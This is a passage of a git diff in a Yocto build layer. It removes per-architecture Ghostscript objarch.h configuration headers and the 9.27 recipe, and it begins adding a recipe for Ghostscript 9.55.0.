-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h
deleted file mode 100644
index 3ec8101681..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/microblazeel/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h
deleted file mode 100644
index 0d0a16bfa3..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32eb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn32el/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h
deleted file mode 100644
index 0d0a16bfa3..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64eb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarchn64el/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h
deleted file mode 100644
index b8b637cca2..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32eb/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 4
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h
deleted file mode 100644
index 29f90ddf85..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/mipsarcho32el/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 4
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h
deleted file mode 100644
index 3ec8101681..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/nios2/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 4
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h
deleted file mode 100644
index 359097f356..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/powerpc/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 4
-#define ARCH_ALIGN_PTR_MOD 4
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 2
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 4
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h
deleted file mode 100644
index 0d0a16bfa3..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/powerpc64/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 1
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h b/meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h
deleted file mode 100644
index a05de29def..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript/x86-64/objarch.h
+++ /dev/null
@@ -1,40 +0,0 @@
-/* Parameters derived from machine and compiler architecture. */
-/* This file is generated mechanically by genarch.c. */
-
- /* ---------------- Scalar alignments ---------------- */
-
-#define ARCH_ALIGN_SHORT_MOD 2
-#define ARCH_ALIGN_INT_MOD 4
-#define ARCH_ALIGN_LONG_MOD 8
-#define ARCH_ALIGN_PTR_MOD 8
-#define ARCH_ALIGN_FLOAT_MOD 4
-#define ARCH_ALIGN_DOUBLE_MOD 8
-
- /* ---------------- Scalar sizes ---------------- */
-
-#define ARCH_LOG2_SIZEOF_CHAR 0
-#define ARCH_LOG2_SIZEOF_SHORT 1
-#define ARCH_LOG2_SIZEOF_INT 2
-#define ARCH_LOG2_SIZEOF_LONG 3
-#define ARCH_LOG2_SIZEOF_LONG_LONG 3
-#define ARCH_SIZEOF_GX_COLOR_INDEX 8
-#define ARCH_SIZEOF_PTR 8
-#define ARCH_SIZEOF_FLOAT 4
-#define ARCH_SIZEOF_DOUBLE 8
-#define ARCH_FLOAT_MANTISSA_BITS 24
-#define ARCH_DOUBLE_MANTISSA_BITS 53
-
- /* ---------------- Unsigned max values ---------------- */
-
-#define ARCH_MAX_UCHAR ((unsigned char)0xff + (unsigned char)0)
-#define ARCH_MAX_USHORT ((unsigned short)0xffff + (unsigned short)0)
-#define ARCH_MAX_UINT ((unsigned int)~0 + (unsigned int)0)
-#define ARCH_MAX_ULONG ((unsigned long)~0L + (unsigned long)0)
-
- /* ---------------- Miscellaneous ---------------- */
-
-#define ARCH_IS_BIG_ENDIAN 0
-#define ARCH_PTRS_ARE_SIGNED 0
-#define ARCH_FLOATS_ARE_IEEE 1
-#define ARCH_ARITH_RSHIFT 2
-#define ARCH_DIV_NEG_POS_TRUNCATES 1
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.27.bb b/meta/recipes-extended/ghostscript/ghostscript_9.27.bb
deleted file mode 100644
index 9e1f3e2f49..0000000000
--- a/meta/recipes-extended/ghostscript/ghostscript_9.27.bb
+++ /dev/null
@@ -1,131 +0,0 @@
-SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
-DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
-a back-end to a program such as ghostview, it can display PostScript and PDF \
-documents in an X11 environment. \
-\
-Furthermore, it can render PostScript and PDF files as graphics to be printed \
-on non-PostScript printers. Supported printers include common \
-dot-matrix, inkjet and laser models. \
-"
-HOMEPAGE = "http://www.ghostscript.com"
-SECTION = "console/utils"
-
-LICENSE = "GPLv3"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=70dc2bac4d0ce4448da873cd86b123fc"
-
-DEPENDS = "ghostscript-native tiff jpeg fontconfig cups libpng"
-DEPENDS_class-native = "libpng-native"
-
-UPSTREAM_CHECK_URI = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases"
-UPSTREAM_CHECK_REGEX = "(?P<pver>\d+(\.\d+)+)\.tar"
-
-SRC_URI_BASE = "https://github.com/ArtifexSoftware/ghostpdl-downloads/releases/download/gs927/${BPN}-${PV}.tar.gz \
- file://ghostscript-9.15-parallel-make.patch \
- file://ghostscript-9.16-Werror-return-type.patch \
- file://do-not-check-local-libpng-source.patch \
- file://avoid-host-contamination.patch \
- file://mkdir-p.patch \
- file://CVE-2019-14811-0001.patch \
- file://CVE-2019-14817-0001.patch \
- file://CVE-2019-14817-0002.patch \
-"
-
-SRC_URI = "${SRC_URI_BASE} \
- file://ghostscript-9.21-prevent_recompiling.patch \
- file://ghostscript-9.02-genarch.patch \
- file://objarch.h \
- file://cups-no-gcrypt.patch \
- "
-
-SRC_URI_class-native = "${SRC_URI_BASE} \
- file://ghostscript-9.21-native-fix-disable-system-libtiff.patch \
- file://base-genht.c-add-a-preprocessor-define-to-allow-fope.patch \
- "
-
-SRC_URI[md5sum] = "c3990a504a3a23b9babe9de00ed6597d"
-SRC_URI[sha256sum] = "9760e8bdd07a08dbd445188a6557cb70e60ccb6a5601f7dbfba0d225e28ce285"
-
-# Put something like
-#
-# PACKAGECONFIG_append_pn-ghostscript = " x11"
-#
-# in local.conf to enable building with X11. Be careful. The order
-# of the overrides matters!
-#
-#PACKAGECONFIG ??= "${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'x11', '', d)}"
-PACKAGECONFIG_class-native = ""
-
-PACKAGECONFIG[x11] = "--with-x --x-includes=${STAGING_INCDIR} --x-libraries=${STAGING_LIBDIR}, \
- --without-x, virtual/libx11 libxext libxt gtk+3\
- "
-
-EXTRA_OECONF = "--without-libpaper --with-system-libtiff --without-jbig2dec \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --with-cups-serverbin=${exec_prefix}/lib/cups \
- --with-cups-datadir=${datadir}/cups \
- CUPSCONFIG="${STAGING_BINDIR_CROSS}/cups-config" \
- "
-
-EXTRA_OECONF_append_mipsarcho32 = " --with-large_color_index=0"
-
-# Explicity disable libtiff, fontconfig,
-# freetype, cups for ghostscript-native
-EXTRA_OECONF_class-native = "--without-x --with-system-libtiff=no \
- --without-jbig2dec --without-libpaper \
- --with-fontpath=${datadir}/fonts \
- --without-libidn --disable-fontconfig \
- --disable-freetype --disable-cups"
-
-# This has been fixed upstream but for now we need to subvert the check for time.h
-# http://bugs.ghostscript.com/show_bug.cgi?id=692443
-# http://bugs.ghostscript.com/show_bug.cgi?id=692426
-CFLAGS += "-DHAVE_SYS_TIME_H=1"
-BUILD_CFLAGS += "-DHAVE_SYS_TIME_H=1"
-
-inherit autotools
-
-do_configure_prepend () {
- mkdir -p obj
- mkdir -p soobj
- if [ -e ${WORKDIR}/objarch.h ]; then
- cp ${WORKDIR}/objarch.h obj/arch.h
- fi
-}
-
-do_configure_append () {
- # copy tools from the native ghostscript build
- if [ "${PN}" != "ghostscript-native" ]; then
- mkdir -p obj/aux soobj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- cp ${STAGING_BINDIR_NATIVE}/ghostscript-${PV}/$i obj/aux/$i
- done
- fi
-}
-
-do_install_append () {
- mkdir -p ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/Resource ${D}${datadir}/ghostscript/${PV}/
- cp -r ${S}/iccprofiles ${D}${datadir}/ghostscript/${PV}/
-}
-
-do_compile_class-native () {
- mkdir -p obj
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- oe_runmake obj/aux/$i
- done
-}
-
-do_install_class-native () {
- install -d ${D}${bindir}/ghostscript-${PV}
- for i in genarch genconf mkromfs echogs gendev genht packps; do
- install -m 755 obj/aux/$i ${D}${bindir}/ghostscript-${PV}/$i
- done
-}
-
-BBCLASSEXTEND = "native"
-
-# ghostscript does not supports "arc"
-COMPATIBLE_HOST = "^(?!arc).*"
-
-# some entries in NVD uses gpl_ghostscript
-CVE_PRODUCT = "ghostscript gpl_ghostscript"
diff --git a/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb b/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb
new file mode 100644
index 0000000000..c28e62f089
--- /dev/null
+++ b/meta/recipes-extended/ghostscript/ghostscript_9.55.0.bb
@@ -0,0 +1,129 @@
+SUMMARY = "The GPL Ghostscript PostScript/PDF interpreter"
+DESCRIPTION = "Ghostscript is used for PostScript/PDF preview and printing. Usually as \
+a back-end to a program such as ghostview, it can display PostScript and PDF \
+documents in an X11 environment. \
+\
+Furthermore, it can render PostScript and PDF files as graphics to be printed \
+on non-PostScript printers. Supported printers include common \
+dot-matrix, inkjet and laser models. \
+"
+HOMEPAGE = "http://www.ghostscript.com"
